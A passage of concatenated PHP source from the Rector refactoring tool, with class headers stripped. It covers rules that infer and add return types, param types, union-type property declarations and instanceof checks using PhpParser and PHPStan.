elseif ($typeNode instanceof IntersectionType) { $unwrappedTypeNodes = \array_merge($unwrappedTypeNodes, $this->unwrapNullableUnionTypes($typeNode->types)); } else { $unwrappedTypeNodes[] = $typeNode; } } return $this->uniquateNodes($unwrappedTypeNodes); } /** * @template TNode as Node * * @param TNode[] $nodes * @return TNode[] */ public function uniquateNodes(array $nodes) : array { $uniqueNodes = []; foreach ($nodes as $node) { $uniqueHash = $this->nodeComparator->printWithoutComments($node); $uniqueNodes[$uniqueHash] = $node; } // reset keys from 0, for further compatibility return \array_values($uniqueNodes); } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->classModifierChecker = $classModifierChecker; $this->betterNodeFinder = $betterNodeFinder; $this->neverFuncCallAnalyzer = $neverFuncCallAnalyzer; $this->nodeNameResolver = $nodeNameResolver; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|null */ public function add($node, Scope $scope) { if ($this->shouldSkip($node, $scope)) { return null; } $node->returnType = new Identifier('never'); return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function shouldSkip($node, Scope $scope) : bool { // already has return type, and non-void // it can be "never" return itself, or other return type if ($node->returnType instanceof Node && !$this->nodeNameResolver->isName($node->returnType, 'void')) { return \true; } if ($this->hasReturnOrYields($node)) { return \true; } if (!$this->hasNeverNodesOrNeverFuncCalls($node)) { return \true; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return \true; } if (!$node->returnType instanceof Node) { return \false; } // skip as most likely intentional return !$this->classModifierChecker->isInsideFinalClass($node) && $this->nodeNameResolver->isName($node->returnType, 'void'); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function hasReturnOrYields($node) : bool { return $this->betterNodeFinder->hasInstancesOfInFunctionLikeScoped($node, \array_merge([Return_::class, Yield_::class, YieldFrom::class], ControlStructure::CONDITIONAL_NODE_SCOPE_TYPES)); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $node */ private function hasNeverNodesOrNeverFuncCalls($node) : bool { $hasNeverNodes = $this->betterNodeFinder->hasInstancesOfInFunctionLikeScoped($node, [Throw_::class]); if ($hasNeverNodes) { return \true; } return $this->neverFuncCallAnalyzer->hasNeverFuncCall($node); } } betterNodeFinder = $betterNodeFinder; $this->returnTypeInferer = $returnTypeInferer; $this->staticTypeMapper = $staticTypeMapper; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|null */ public function add($functionLike, Scope $scope) { if ($functionLike->returnType instanceof Node) { return null; } if ($functionLike instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope)) { return null; } $hasNonCastReturn = (bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($functionLike, static function (Node $subNode) : bool { return $subNode instanceof Return_ && !$subNode->expr instanceof Cast; }); if ($hasNonCastReturn) { return null; } $returnType = $this->returnTypeInferer->inferFunctionLike($functionLike); if ($returnType instanceof UnionType) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($returnType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $functionLike->returnType = $returnTypeNode; return $functionLike; } } nodeNameResolver = $nodeNameResolver; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnTypeInferer = $returnTypeInferer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|null */ public function add($functionLike, Scope $scope) { if ($functionLike->stmts === null) { return null; } if ($this->shouldSkipNode($functionLike, $scope)) { return null; } $return = $this->findCurrentScopeReturn($functionLike->stmts); if (!$return instanceof Return_ || !$return->expr instanceof Expr) { return null; } $returnName = $this->nodeNameResolver->getName($return->expr); $stmts = $functionLike->stmts; foreach ($functionLike->getParams() as $param) { if (!$param->type instanceof Node) { continue; } if ($this->shouldSkipParam($param, $stmts)) { continue; } $paramName = $this->nodeNameResolver->getName($param); if ($returnName !== $paramName) { continue; } $functionLike->returnType = $param->type; return $functionLike; } return null; } /** * @param Stmt[] $stmts */ private function findCurrentScopeReturn(array $stmts) : ?Return_ { $return = null; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, static function (Node $node) use(&$return) : ?int { // skip scope nesting if ($node instanceof Class_ || $node instanceof FunctionLike) { $return = null; return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Return_) { return null; } if (!$node->expr instanceof Variable) { $return = null; return NodeTraverser::STOP_TRAVERSAL; } $return = $node; return null; }); return $return; } /** * @param Stmt[] $stmts */ private function shouldSkipParam(Param $param, array $stmts) : bool { $paramName = $this->nodeNameResolver->getName($param); $isParamModified = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, function (Node $node) use($paramName, &$isParamModified) : ?int { // skip scope nesting if ($node instanceof Class_ || $node instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof AssignRef && $this->nodeNameResolver->isName($node->expr, $paramName)) { $isParamModified = \true; return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof Assign) { return null; } if (!$node->var instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($node->var, $paramName)) { return null; } $isParamModified = \true; return NodeTraverser::STOP_TRAVERSAL; }); return $isParamModified; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkipNode($functionLike, Scope $scope) : bool { // type is already known, skip if ($functionLike->returnType instanceof Node) { return \true; } if ($functionLike instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope)) { return \true; } $returnType = $this->returnTypeInferer->inferFunctionLike($functionLike); if ($returnType instanceof MixedType) { return \true; } $returnType = TypeCombinator::removeNull($returnType); return $returnType instanceof UnionType; } } staticTypeMapper = $staticTypeMapper; $this->strictNativeFunctionReturnTypeAnalyzer = $strictNativeFunctionReturnTypeAnalyzer; $this->nodeTypeResolver = $nodeTypeResolver; $this->typeFactory = $typeFactory; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; } /** * @template TFunctionLike as ClassMethod|Function_ * * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike * @return TFunctionLike|null */ public function add($functionLike, Scope $scope) { // already filled, skip if ($functionLike->returnType instanceof Node) { return null; } if ($functionLike instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope)) { return null; } $nativeCallLikes = $this->strictNativeFunctionReturnTypeAnalyzer->matchAlwaysReturnNativeCallLikes($functionLike); if ($nativeCallLikes === null) { return null; } $callLikeTypes = []; foreach ($nativeCallLikes as $nativeCallLike) { $callLikeTypes[] = $this->nodeTypeResolver->getType($nativeCallLike); } $returnType = $this->typeFactory->createMixedPassedOrUnionTypeAndKeepConstant($callLikeTypes); if ($returnType instanceof MixedType) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($returnType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $functionLike->returnType = $returnTypeNode; return $functionLike; } } returnTypeInferer = $returnTypeInferer; $this->unionTypeMapper = $unionTypeMapper; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; } /** * @template TCallLike as ClassMethod|Function_ * * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $node * @return TCallLike|null */ public function add($node, Scope $scope) { if ($node->stmts === null) { return null; } // type is already known if ($node->returnType instanceof Node) { return null; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $inferReturnType = $this->returnTypeInferer->inferFunctionLike($node); if (!$inferReturnType instanceof UnionType) { return null; } $returnType = $this->unionTypeMapper->mapToPhpParserNode($inferReturnType, TypeKind::RETURN); if (!$returnType instanceof Node) { return null; } // handled by another PHP 7.1 rule with broader scope if ($returnType instanceof NullableType) { return null; } $node->returnType = $returnType; return $node; } } getTypes()) > self::MAX_NUMBER_OF_TYPES; } if ($type instanceof ConstantArrayType) { return \count($type->getValueTypes()) > self::MAX_NUMBER_OF_TYPES; } if ($type instanceof GenericObjectType) { return $this->isTooDetailedGenericObjectType($type); } return \false; } private function isTooDetailedGenericObjectType(GenericObjectType $genericObjectType) : bool { if (\count($genericObjectType->getTypes()) !== 1) { return \false; } $genericType = $genericObjectType->getTypes()[0]; return $this->isTooDetailed($genericType); } } unionTypeAnalyzer = $unionTypeAnalyzer; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->phpVersionProvider = $phpVersionProvider; $this->nodeFactory = $nodeFactory; } /** * @param \PhpParser\Node\Name|\PhpParser\Node\ComplexType|\PhpParser\Node\Identifier $typeNode */ public function decoratePropertyUnionType(UnionType $unionType, $typeNode, Property $property, PhpDocInfo $phpDocInfo, bool $changeVarTypeFallback = \true) : void { if (!$this->unionTypeAnalyzer->isNullable($unionType)) { if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::UNION_TYPES)) { $property->type = $typeNode; return; } if ($changeVarTypeFallback) { $this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $unionType); } return; } $property->type = $typeNode; $propertyProperty = $property->props[0]; // add null default if (!$propertyProperty->default instanceof Expr) { $propertyProperty->default = $this->nodeFactory->createNull(); } // has array with defined type? add docs if (!$this->isDocBlockRequired($unionType)) { return; } if (!$changeVarTypeFallback) { return; } $this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $unionType); } private function isDocBlockRequired(UnionType $unionType) : bool { foreach ($unionType->getTypes() as $unionedType) { if ($unionedType->isArray()->yes()) { $describedArray = $unionedType->describe(VerbosityLevel::value()); if ($describedArray !== 'array') { return \true; } } } return \false; } } reflectionProvider = $reflectionProvider; $this->useImportsResolver = $useImportsResolver; $this->nameScopeFactory = $nameScopeFactory; } /** * @return \PHPStan\Type\TypeWithClassName|\Rector\StaticTypeMapper\ValueObject\Type\NonExistingObjectType|\PHPStan\Type\UnionType|\PHPStan\Type\MixedType|\PHPStan\Type\Generic\TemplateType */ public function narrowToFullyQualifiedOrAliasedObjectType(Node $node, ObjectType $objectType, ?\PHPStan\Analyser\Scope $scope) { $uses = $this->useImportsResolver->resolve(); $aliasedObjectType = $this->matchAliasedObjectType($objectType, $uses); if ($aliasedObjectType instanceof AliasedObjectType) { return $aliasedObjectType; } $shortenedObjectType = $this->matchShortenedObjectType($objectType, $uses); if ($shortenedObjectType !== null) { return $shortenedObjectType; } $className = \ltrim($objectType->getClassName(), '\\'); if ($this->reflectionProvider->hasClass($className)) { return new FullyQualifiedObjectType($className); } // probably in same namespace if ($scope instanceof Scope) { $namespaceName = $scope->getNamespace(); if ($namespaceName !== null) { $newClassName = $namespaceName . '\\' . $className; if ($this->reflectionProvider->hasClass($newClassName)) { return new FullyQualifiedObjectType($newClassName); } } } if ($scope instanceof Scope) { $classReflection = $scope->getClassReflection(); if ($classReflection instanceof ClassReflection) { $templateTags = $classReflection->getTemplateTags(); $nameScope = $this->nameScopeFactory->createNameScopeFromNodeWithoutTemplateTypes($node); $templateTypeScope = $nameScope->getTemplateTypeScope(); if (!$templateTypeScope instanceof TemplateTypeScope) { // invalid type return new NonExistingObjectType($className); } $currentTemplateTag = $templateTags[$className] ?? null; if ($currentTemplateTag === null) { // invalid type return new NonExistingObjectType($className); } return TemplateTypeFactory::create($templateTypeScope, $currentTemplateTag->getName(), $currentTemplateTag->getBound(), $currentTemplateTag->getVariance()); } } // invalid type return new NonExistingObjectType($className); } /** * @param array $uses */ private function matchAliasedObjectType(ObjectType $objectType, array $uses) : ?AliasedObjectType { if ($uses === []) { return null; } $className = $objectType->getClassName(); foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if (!$useUse->alias instanceof Identifier) { continue; } $useName = $prefix . $useUse->name->toString(); $alias = $useUse->alias->toString(); $fullyQualifiedName = $prefix . $useUse->name->toString(); $processAliasedObject = $this->processAliasedObject($alias, $className, $useName, $fullyQualifiedName); if ($processAliasedObject instanceof AliasedObjectType) { return $processAliasedObject; } } } return null; } private function processAliasedObject(string $alias, string $className, string $useName, string $fullyQualifiedName) : ?AliasedObjectType { // A. is alias in use statement matching this class alias if ($alias === $className) { return new AliasedObjectType($alias, $fullyQualifiedName); } // B. is aliased classes matching the class name if ($useName === $className) { return new AliasedObjectType($alias, $fullyQualifiedName); } return null; } /** * @param array $uses * @return \Rector\StaticTypeMapper\ValueObject\Type\ShortenedObjectType|\Rector\StaticTypeMapper\ValueObject\Type\ShortenedGenericObjectType|null */ private function matchShortenedObjectType(ObjectType $objectType, array $uses) { if ($uses === []) { return null; } foreach ($uses as $use) { $prefix = $use instanceof GroupUse ? $use->prefix . '\\' : ''; foreach ($use->uses as $useUse) { if ($useUse->alias instanceof Identifier) { continue; } $partialNamespaceObjectType = $this->matchPartialNamespaceObjectType($prefix, $objectType, $useUse); if ($partialNamespaceObjectType instanceof ShortenedObjectType) { return $partialNamespaceObjectType; } $partialNamespaceObjectType = $this->matchClassWithLastUseImportPart($prefix, $objectType, $useUse); if ($partialNamespaceObjectType instanceof FullyQualifiedObjectType) { // keep Generic items if ($objectType instanceof GenericObjectType) { return new ShortenedGenericObjectType($objectType->getClassName(), $objectType->getTypes(), $partialNamespaceObjectType->getClassName()); } return $partialNamespaceObjectType->getShortNameType(); } if ($partialNamespaceObjectType instanceof ShortenedObjectType) { return $partialNamespaceObjectType; } } } return null; } private function matchPartialNamespaceObjectType(string $prefix, ObjectType $objectType, UseUse $useUse) : ?ShortenedObjectType { // partial namespace if (\strncmp($objectType->getClassName(), $useUse->name->getLast() . '\\', \strlen($useUse->name->getLast() . '\\')) !== 0) { return null; } $classNameWithoutLastUsePart = Strings::after($objectType->getClassName(), '\\', 1); $connectedClassName = $prefix . $useUse->name->toString() . '\\' . $classNameWithoutLastUsePart; if (!$this->reflectionProvider->hasClass($connectedClassName)) { return null; } if ($objectType->getClassName() === $connectedClassName) { return null; } return new ShortenedObjectType($objectType->getClassName(), $connectedClassName); } /** * @return FullyQualifiedObjectType|ShortenedObjectType|null */ private function matchClassWithLastUseImportPart(string $prefix, ObjectType $objectType, UseUse $useUse) : ?ObjectType { if ($useUse->name->getLast() !== $objectType->getClassName()) { return null; } if (!$this->reflectionProvider->hasClass($prefix . $useUse->name->toString())) { return null; } if ($objectType->getClassName() === $prefix . $useUse->name->toString()) { return new FullyQualifiedObjectType($objectType->getClassName()); } return new ShortenedObjectType($objectType->getClassName(), $prefix . $useUse->name->toString()); } } nodeNameResolver = $nodeNameResolver; } public function create(TypeNode $typeNode, Param $param) : ParamTagValueNode { return new ParamTagValueNode($typeNode, $param->variadic, '$' . $this->nodeNameResolver->getName($param), ''); } } scalarStringToTypeMapper = $scalarStringToTypeMapper; } public function resolveTypeExpressionFromVarTag(TypeNode $typeNode, Variable $variable) : ?Expr { if ($typeNode instanceof IdentifierTypeNode) { $scalarType = $this->scalarStringToTypeMapper->mapScalarStringToType($typeNode->name); $scalarTypeFunction = $this->getScalarTypeFunction(\get_class($scalarType)); if ($scalarTypeFunction !== null) { $arg = new Arg($variable); return new FuncCall(new Name($scalarTypeFunction), [$arg]); } if ($scalarType instanceof NullType) { return new Identical($variable, new ConstFetch(new Name('null'))); } if ($scalarType instanceof ConstantBooleanType) { return new Identical($variable, new ConstFetch(new Name($scalarType->getValue() ? 'true' : 'false'))); } if ($scalarType instanceof MixedType && !$scalarType->isExplicitMixed()) { return new Instanceof_($variable, new Name($typeNode->name)); } } elseif ($typeNode instanceof NullableTypeNode) { $unionExpressions = []; $nullableTypeExpression = $this->resolveTypeExpressionFromVarTag($typeNode->type, $variable); if (!$nullableTypeExpression instanceof Expr) { return null; } $unionExpressions[] = $nullableTypeExpression; $nullExpression = $this->resolveTypeExpressionFromVarTag(new IdentifierTypeNode('null'), $variable); \assert($nullExpression instanceof Expr); $unionExpressions[] = $nullExpression; return $this->generateOrExpression($unionExpressions); } elseif ($typeNode instanceof BracketsAwareUnionTypeNode) { $unionExpressions = []; foreach ($typeNode->types as $typeNode) { $unionExpression = $this->resolveTypeExpressionFromVarTag($typeNode, $variable); if (!$unionExpression instanceof Expr) { return null; } $unionExpressions[] = $unionExpression; } return $this->generateOrExpression($unionExpressions); } elseif ($typeNode instanceof BracketsAwareIntersectionTypeNode) { $intersectionExpressions = []; foreach ($typeNode->types as $typeNode) { $intersectionExpression = $this->resolveTypeExpressionFromVarTag($typeNode, $variable); if (!$intersectionExpression instanceof Expr) { return null; } $intersectionExpressions[] = $intersectionExpression; } return $this->generateAndExpression($intersectionExpressions); } return null; } /** * @param Expr[] $unionExpressions * @return BooleanOr */ private function generateOrExpression(array $unionExpressions) { $booleanOr = new BooleanOr($unionExpressions[0], $unionExpressions[1]); if (\count($unionExpressions) == 2) { return $booleanOr; } \array_splice($unionExpressions, 0, 2, [$booleanOr]); return $this->generateOrExpression($unionExpressions); } /** * @param Expr[] $intersectionExpressions * @return BooleanAnd */ private function generateAndExpression(array $intersectionExpressions) { $booleanAnd = new BooleanAnd($intersectionExpressions[0], $intersectionExpressions[1]); if (\count($intersectionExpressions) == 2) { return $booleanAnd; } \array_splice($intersectionExpressions, 0, 2, [$booleanAnd]); return $this->generateAndExpression($intersectionExpressions); } /** * @param class-string $className */ private function getScalarTypeFunction(string $className) : ?string { switch ($className) { case IntegerType::class: return 'is_int'; case BooleanType::class: return 'is_bool'; case FloatType::class: return 'is_float'; case StringType::class: return 'is_string'; case ArrayType::class: return 'is_array'; case CallableType::class: return 'is_callable'; case ObjectWithoutClassType::class: return 'is_object'; case IterableType::class: return 'is_iterable'; default: return null; } } } staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add known return type to arrow function', [new CodeSample(<<<'CODE_SAMPLE' fn () => []; CODE_SAMPLE , <<<'CODE_SAMPLE' fn (): array => []; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ArrowFunction::class]; } /** * @param ArrowFunction $node */ public function refactor(Node $node) : ?Node { if ($node->returnType instanceof Node) { return null; } $type = $this->nodeTypeResolver->getNativeType($node->expr); // not valid to add explicit type in PHP if ($type->isVoid()->yes()) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $node->returnType = $returnTypeNode; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARROW_FUNCTION; } } nullableTypeAnalyzer = $nullableTypeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change && and || between nullable objects to instanceof compares', [new CodeSample(<<<'CODE_SAMPLE' function someFunction(?SomeClass $someClass) { if ($someClass && $someClass->someMethod()) { return 'yes'; } return 'no'; } CODE_SAMPLE , <<<'CODE_SAMPLE' function someFunction(?SomeClass $someClass) { if ($someClass instanceof SomeClass && $someClass->someMethod()) { return 'yes'; } return 'no'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanAnd::class, BooleanOr::class]; } /** * @param BooleanAnd|BooleanOr $node */ public function refactor(Node $node) : ?Node { if ($node instanceof BooleanOr) { return $this->processNegationBooleanOr($node); } return $this->processsNullableInstance($node); } /** * @param \PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr $node * @return null|\PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr */ private function processsNullableInstance($node) { $nullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($node->left); $hasChanged = \false; if ($nullableObjectType instanceof ObjectType) { $node->left = $this->createExprInstanceof($node->left, $nullableObjectType); $hasChanged = \true; } $nullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($node->right); if ($nullableObjectType instanceof ObjectType) { $node->right = $this->createExprInstanceof($node->right, $nullableObjectType); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function processNegationBooleanOr(BooleanOr $booleanOr) : ?BooleanOr { $hasChanged = \false; if ($booleanOr->left instanceof BooleanNot) { $nullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($booleanOr->left->expr); if ($nullableObjectType instanceof ObjectType) { $booleanOr->left->expr = $this->createExprInstanceof($booleanOr->left->expr, $nullableObjectType); $hasChanged = \true; } } if ($booleanOr->right instanceof BooleanNot) { $nullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($booleanOr->right->expr); if ($nullableObjectType instanceof ObjectType) { $booleanOr->right->expr = $this->createExprInstanceof($booleanOr->right->expr, $nullableObjectType); $hasChanged = \true; } } if ($hasChanged) { return $booleanOr; } /** @var BooleanOr|null $result */ $result = $this->processsNullableInstance($booleanOr); return $result; } private function createExprInstanceof(Expr $expr, ObjectType $objectType) : Instanceof_ { $fullyQualified = new FullyQualified($objectType->getClassName()); return new Instanceof_($expr, $fullyQualified); } } callTypesResolver = $callTypesResolver; $this->classMethodParamTypeCompleter = $classMethodParamTypeCompleter; $this->localMethodCallFinder = $localMethodCallFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change private method param type to strict type, based on passed strict types', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run(int $value) { $this->resolve($value); } private function resolve($value) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(int $value) { $this->resolve($value); } private function resolve(int $value) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($classMethod->params === []) { continue; } if (!$this->isClassMethodPrivate($node, $classMethod)) { continue; } if ($classMethod->isPublic()) { continue; } $methodCalls = $this->localMethodCallFinder->match($node, $classMethod); $classMethodParameterTypes = $this->callTypesResolver->resolveStrictTypesFromCalls($methodCalls); $classMethod = $this->classMethodParamTypeCompleter->complete($classMethod, $classMethodParameterTypes, self::MAX_UNION_TYPES); if ($classMethod instanceof ClassMethod) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function isClassMethodPrivate(Class_ $class, ClassMethod $classMethod) : bool { if ($classMethod->isPrivate()) { return \true; } if ($classMethod->isFinal() && !$class->extends instanceof Name && $class->implements === []) { return \true; } return $class->isFinal() && !$class->extends instanceof Name && $class->implements === [] && $classMethod->isProtected(); } } > */ private const NATIVE_FUNC_CALLS_WITH_POSITION = ['array_walk' => ['array' => 0, 'callback' => 1], 'array_map' => ['array' => 1, 'callback' => 0], 'usort' => ['array' => 0, 'callback' => 1], 'array_filter' => ['array' => 0, 'callback' => 1]]; public function __construct(PhpDocInfoFactory $phpDocInfoFactory, ArgsAnalyzer $argsAnalyzer, PhpDocTypeChanger $phpDocTypeChanger, StaticTypeMapper $staticTypeMapper) { $this->phpDocInfoFactory = $phpDocInfoFactory; $this->argsAnalyzer = $argsAnalyzer; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add param array docblock based on callable native function call', [new CodeSample(<<<'CODE_SAMPLE' function process(array $items): void { array_walk($items, function (stdClass $item) { echo $item->value; }); } CODE_SAMPLE , <<<'CODE_SAMPLE' /** * @param stdClass[] $items */ function process(array $items): void { array_walk($items, function (stdClass $item) { echo $item->value; }); } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node * @return null|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ */ public function refactor(Node $node) { if ($node->params === []) { return null; } if ($node->stmts === null) { return null; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $variableNamesWithArrayType = $this->collectVariableNamesWithArrayType($node, $phpDocInfo); if ($variableNamesWithArrayType === []) { return null; } $paramsWithType = []; $this->traverseNodesWithCallable($node->stmts, function (Node $subNode) use($variableNamesWithArrayType, $node, &$paramsWithType) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Function_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof FuncCall) { return null; } if (!$this->isNames($subNode, \array_keys(self::NATIVE_FUNC_CALLS_WITH_POSITION))) { return null; } if ($subNode->isFirstClassCallable()) { return null; } $args = $subNode->getArgs(); if ($this->argsAnalyzer->hasNamedArg($args)) { return null; } if (\count($args) < 2) { return null; } $funcCallName = (string) $this->getName($subNode); $arrayArgValue = $args[self::NATIVE_FUNC_CALLS_WITH_POSITION[$funcCallName]['array']]->value; if (!$arrayArgValue instanceof Variable) { return null; } // defined on param provided if (!$this->isNames($arrayArgValue, $variableNamesWithArrayType)) { return null; } $arrayArgValueType = $this->nodeTypeResolver->getNativeType($arrayArgValue); // type changed, eg: by reassign if (!$arrayArgValueType->isArray()->yes()) { return null; } $callbackArgValue = $args[self::NATIVE_FUNC_CALLS_WITH_POSITION[$funcCallName]['callback']]->value; if (!$callbackArgValue instanceof ArrowFunction && !$callbackArgValue instanceof Closure) { return null; } // no params or more than 2 params if ($callbackArgValue->params === [] || \count($callbackArgValue->params) > 2) { return null; } foreach ($callbackArgValue->params as $callbackArgValueParam) { // not typed if (!$callbackArgValueParam->type instanceof Node) { return null; } } if (isset($callbackArgValue->params[1]) && !$this->nodeComparator->areNodesEqual($callbackArgValue->params[0]->type, $callbackArgValue->params[1]->type)) { return null; } if (!$callbackArgValue->params[0]->type instanceof Node) { return null; } $arrayArgValueName = (string) $this->getName($arrayArgValue); $paramToUpdate = $this->getParamByName($node, $arrayArgValueName); if (!$paramToUpdate instanceof Param) { return null; } $paramType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($callbackArgValue->params[0]->type); if ($paramType instanceof MixedType) { return null; } $paramsWithType[$this->getName($paramToUpdate)] = \array_unique(\array_merge($paramsWithType[$this->getName($paramToUpdate)] ?? [], [$paramType]), \SORT_REGULAR); return null; }); $hasChanged = \false; foreach ($paramsWithType as $paramName => $type) { $type = \count($type) > 1 ? TypeCombinator::union(...$type) : \current($type); /** @var Param $paramByName */ $paramByName = $this->getParamByName($node, $paramName); $this->phpDocTypeChanger->changeParamType($node, $phpDocInfo, new ArrayType(new MixedType(), $type), $paramByName, $paramName); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $node */ private function getParamByName($node, string $paramName) : ?Param { foreach ($node->params as $param) { if ($this->isName($param, $paramName)) { return $param; } } return null; } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $node */ private function collectVariableNamesWithArrayType($node, PhpDocInfo $phpDocInfo) : array { $variableNamesWithArrayType = []; foreach ($node->params as $param) { if (!$param->type instanceof Identifier) { continue; } if ($param->type->toString() !== 'array') { continue; } if (!$param->var instanceof Variable) { continue; } $paramName = $this->getName($param); $paramTag = $phpDocInfo->getParamTagValueByName($paramName); if ($paramTag instanceof ParamTagValueNode) { continue; } $variableNamesWithArrayType[] = $paramName; } return $variableNamesWithArrayType; } } \\w+)(\\(\\))?#'; public function __construct(TypeFactory $typeFactory, TestsNodeAnalyzer $testsNodeAnalyzer, PhpDocInfoFactory $phpDocInfoFactory, BetterNodeFinder $betterNodeFinder, StaticTypeMapper $staticTypeMapper) { $this->typeFactory = $typeFactory; $this->testsNodeAnalyzer = $testsNodeAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->betterNodeFinder = $betterNodeFinder; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition(self::ERROR_MESSAGE, [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { /** * @dataProvider provideData() */ public function test($value) { } public static function provideData() { yield ['name']; } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; final class SomeTest extends TestCase { /** * @dataProvider provideData() */ public function test(string $value) { } public static function provideData() { yield ['name']; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->testsNodeAnalyzer->isInTestClass($node)) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if (!$classMethod->isPublic()) { continue; } if ($classMethod->getParams() === []) { continue; } $dataProviderNodes = $this->resolveDataProviderNodes($classMethod); if ($dataProviderNodes->isEmpty()) { return null; } $hasClassMethodChanged = $this->refactorClassMethod($classMethod, $node, $dataProviderNodes->nodes); if ($hasClassMethodChanged) { $hasChanged = \true; } } if 